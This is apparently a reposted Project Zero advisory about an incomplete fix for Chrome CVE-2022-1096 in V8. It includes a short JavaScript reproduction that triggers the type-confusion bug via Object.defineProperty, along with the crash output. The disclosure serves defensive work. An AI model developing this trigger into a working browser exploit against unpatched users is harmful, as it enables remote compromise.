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Chrome CVE-2022-1096 Incomplete Fix
Chrome suffers from having an incomplete fix for CVE-2022-1096.
Chrome: Incomplete fix for CVE-2022-1096VULNERABILITY DETAILSThe fix for https://crbug.com/1309225 has modified `SetPropertyInternal()` to fall back to `SetSuperProperty()` whenever a property access interceptor is encountered because `SetSuperProperty()` is robust against possible side effects caused by interceptors.Unfortunately, the function `JSObject::DefineOwnPropertyIgnoreAttributes()` is also affected by the bug and requires the same change.VERSIONGoogle Chrome 100.0.4896.60 (Official Build) (arm64)Chromium 102.0.4972.0 (Developer Build) (64-bit)REPRODUCTION CASETo make the exploit functional again, the attacker only needs to replace one property store with an `Object.defineProperty()` call:```<script>style = document.createElement('p').style;Object.defineProperty(style, 'prop', { value: { toString() { style.prop = 1 } }});</script>```The repro case above triggers the same DCHECK failure:```## Fatal error in ../../v8/src/objects/map.cc, line 437# Debug check failed: map->instance_descriptors(isolate) .Search(*name, map->NumberOfOwnDescriptors()) .is_not_found().#```CREDIT INFORMATIONSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for thisissue is made available to users before the end of the 90-day deadline,this bug report will become public 30 days after the fix was madeavailable. Otherwise, this bug report will become public at the deadline.The scheduled deadline is 2022-06-28.Related CVE Numbers: CVE-2022-1232,CVE-2022-1096.Found by: [email protected]Related news
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